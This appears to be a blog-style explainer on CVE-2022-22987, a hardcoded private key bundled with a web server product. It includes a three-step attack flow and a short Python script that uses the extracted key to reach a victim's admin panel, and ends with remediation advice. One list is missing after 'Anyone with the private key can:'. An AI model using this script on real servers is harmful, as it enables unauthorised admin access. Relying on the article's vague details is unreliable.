In 2022, security researchers identified a critical vulnerability tracked as CVE-2022-22987. This flaw is in web server software and it exposed thousands of users to cyber threats. The problem? A hardcoded private key was left sitting in the project folder. This article breaks down what happened, demonstrates how the exploit works, and explains why these issues are so dangerous.

What is CVE-2022-22987?

CVE-2022-22987 is a vulnerability that affects a specific web server application (product names are sometimes redacted for responsible disclosure). In this case, during development, the software’s creators accidentally included a private SSH key or TLS certificate key in the software package folder itself. When deploying the software, every installation uses this same private key, which attackers could obtain by simply downloading the source or installer.

Why is a Hardcoded Private Key So Bad?

When a private key is hardcoded and public, it destroys the security of all authentication and encryption based on that key. Anyone with the private key can:

The private key was discovered inside the application folder, often called something like

/project/keys/private.key

or

/config/ssl/server.key

A typical excerpt looked like this

# Location: /var/www/html/app/keys/private.key

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAtvZWq1nre90cjt3MNcw2KCOYg2X3h9TynoP3Dkl52tFSBl
...
-----END RSA PRIVATE KEY-----

Here's a basic attack flow

Step 1: Download the vulnerable software distribution from the vendor website or a public repository.

Step 2: Extract the private key from the project files.

Step 3: Use the private key to authenticate to the server’s web management interface or to perform a man-in-the-middle attack.

Below is a sample Python code that demonstrates how an attacker could use the private key to login or impersonate the server in a simple HTTPS connection.

Example: Using the Hardcoded Key to Authenticate

Suppose the web server requires client-side certificate authentication. With the private key, you can create a valid client cert and login as an admin:

import requests

# The path to the stolen private key and client certificate
cert = ('client_cert.pem', 'private.key')

# Target URL
url = 'https://victim-server/admin/';

# Try to access the admin panel
response = requests.get(url, cert=cert, verify=False)

if response.status_code == 200:
    print("Logged in to admin interface!")
    print(response.text)
else:
    print(f"Access denied: {response.status_code}")

Chain with other exploits for deeper penetration.

In some cases, if the key was used for SSL/TLS, attackers could pose as the legitimate server, tricking users or intercepting sensitive data.

References and Further Reading

- CVE-2022-22987 Official MITRE Entry
- OWASP - Hardcoded Credentials
- How NOT To Store Secrets in Code
- Example Vendor Advisory *(check specifics for your software)*

Conclusion

CVE-2022-22987 is a classic but devastating mistake—a hardcoded private key left by developers that allowed attackers to bypass authentication and compromise web servers everywhere this software was used. The fix requires updating the affected product and ensuring each deployment generates its own unique secrets.

Takeaway: Always check for keys, passwords, or secrets bundled in code. Never trust defaults, and demand that vendors explain how secrets are generated and protected.

If you find similar exposures in your code or servers, change the keys, rotate credentials, and patch immediately.

Timeline

Published on: 02/04/2022 23:15:00 UTC
Last modified on: 02/09/2022 20:09:00 UTC